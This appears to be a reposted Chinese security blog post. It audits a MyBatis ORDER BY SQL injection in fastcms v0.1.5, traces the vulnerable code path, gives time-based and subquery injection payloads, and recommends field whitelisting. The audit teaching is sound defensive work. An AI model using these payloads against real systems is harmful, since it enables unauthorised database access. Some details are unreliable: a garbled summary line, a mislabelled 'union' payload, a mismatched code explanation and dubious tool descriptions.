文章总结: 本文剖析了MyBatis框架SQL注入漏洞原理与审计实战,以fastcms为例,对比#{}与区别,指出动态排序滥用{}区别,指出动态排序滥用区别,指出动态排序滥用{}拼接为漏洞根因。作者演示了定位XML危险点、追踪调用链至构造注入Payload的完整复现过程。建议采用白名单限制排序字段,并推荐Semgrep等工具辅助审计。 综合评分: 87 文章分类: 代码审计,漏洞分析,WEB安全,漏洞POC,安全工具
MyBatis框架SQL注入漏洞深度剖析
船山信安
2026年4月13日 18:10 广东
在小说阅读器读本章
去阅读
MyBatis框架SQL注入漏洞深度剖析:从原理到实战
前言
最近在审计一个CMS系统时,遇到了一个典型的MyBatis注入问题,整理一下分享出来。这个漏洞出在fastcms v0.1.5的后台功能中,问题点很经典,值得拿出来说道说道。
知识点梳理
1. MyBatis
MyBatis这玩意儿,说白了就是帮你少写JDBC代码的封装层。它支持XML和注解两种方式配置SQL语句,最后把执行结果映射成Java对象。用过的人都知道,配置文件一般扔在resources目录下。
重点来了:每个mapper都有namespace属性,用来防止多个mapper冲突,而且这玩意儿不能重复。id是查询方法的唯一标识,resultType指定返回值类型。
2. #{} 和 ${} 的区别——这是核心
这两个符号决定了SQL拼接方式:
// #{} 预编译处理,参数化查询,安全
SELECT * FROM user WHERE id = #{userId}
// ${} 直接字符串替换,危险!
SELECT * FROM user ORDER BY ${columnName}
#{}会被MyBatis预编译成参数化语句,参数会被当作值处理,不会拼接进SQL语句。而${}是直接字符串替换,你传啥它就往SQL里填啥。
为什么order by必须用${}?
因为order by后面跟的是列名,不是值。你试试ORDER BY #{column},MyBatis会给你包上引号,变成ORDER BY 'id',直接报语法错误。开发者为了省事,直接用${}拼接,这口子就这么开了。
3. 代码审计思路
审计MyBatis注入的标准操作:
1. 全局搜索 ${ 在XML文件里
2. 找到对应的Mapper接口
3. 追踪调用链,看参数是否可控
4. 寻找API路径,构建测试Payload
就这么几步,简单粗暴但有效。
漏洞复现过程
第一步:定位问题点
在ArticleCommentMapper.xml里发现了这个:
<select id="pageArticleComment" resultType="xxx">
SELECT * FROM article_comment
ORDER BY ${sortField} ${sortOrder}
</select>
sortField和sortOrder两个参数直接拼接进SQL,完全没有过滤。
第二步:追踪调用链
先看ArticleController里的调用:
@GetMapping("/comment/page")
public Result<IPage<ArticleComment>> page(
@RequestParam(defaultValue = "1") Integer current,
@RequestParam(defaultValue = "10") Integer size,
@RequestParam(required = false) String sortField,
@RequestParam(required = false) String sortOrder) {
// 使用QueryWrapper构建,安全
QueryWrapper<ArticleComment> wrapper = new QueryWrapper<>();
wrapper.orderBy(true, true, sortField);
return Result.success(commentService.page(new Page<>(current, size), wrapper));
}
第一处调用用了QueryWrapper,没问题。继续往下追。
第三步:找到真正的问题
在另一个Service方法里:
public IPage<ArticleComment> pageArticleComment(Integer current, Integer size,
String sortField, String sortOrder) {
IPage<ArticleComment> page = new Page<>(current, size);
LambdaQueryWrapper<ArticleComment> wrapper = new LambdaQueryWrapper<>();
// 这里是关键——直接拼进XML里的${}
wrapper.last("ORDER BY " + sortField + " " + sortOrder);
return this.page(page, wrapper);
}
参数直接传进去了,完美。
第四步:构造Payload
# 正常的排序
sortField=create_time&sortOrder=desc
# 注入测试——利用sleep延时判断
sortField=IF(1=1,sleep(3),create_time)&sortOrder=desc
# 更狠的,直接union注入
sortField=id AND (SELECT COUNT(*) FROM admin)>0&sortOrder=desc
#
总结
这个漏洞的根因很明确:开发者在order by场景下为了省事,直接用${}拼接用户输入。正确的做法是维护一个白名单字段列表,只允许预定义的字段进行排序。
附:5个AI逆向工具推荐
审计过程中我也试了试AI辅助工具,说几个实际用过的:
| 工具 | 特点 | 适用场景 | | — | — | — | | Semgrep | 静态分析神器,支持自定义规则 | 批量扫MyBatis配置文件 | | CodeQL | GitHub亲儿子,查询语言强大 | 复杂代码逻辑分析 | | SonarQube | 集成度高,支持多语言 | 项目整体安全评估 | | Sematic | 新出的AI驱动代码审查 | 快速定位可疑代码片段 | | DeepCode | 字节系产品,AI学习能力强 | 代码漏洞预测 |
参考博客链接: https://www.cnblogs.com/wanganzgj/p/19642586
本文仅供学习交流,请勿用于非法用途。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:船山信安 《MyBatis框架SQL注入漏洞深度剖析》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论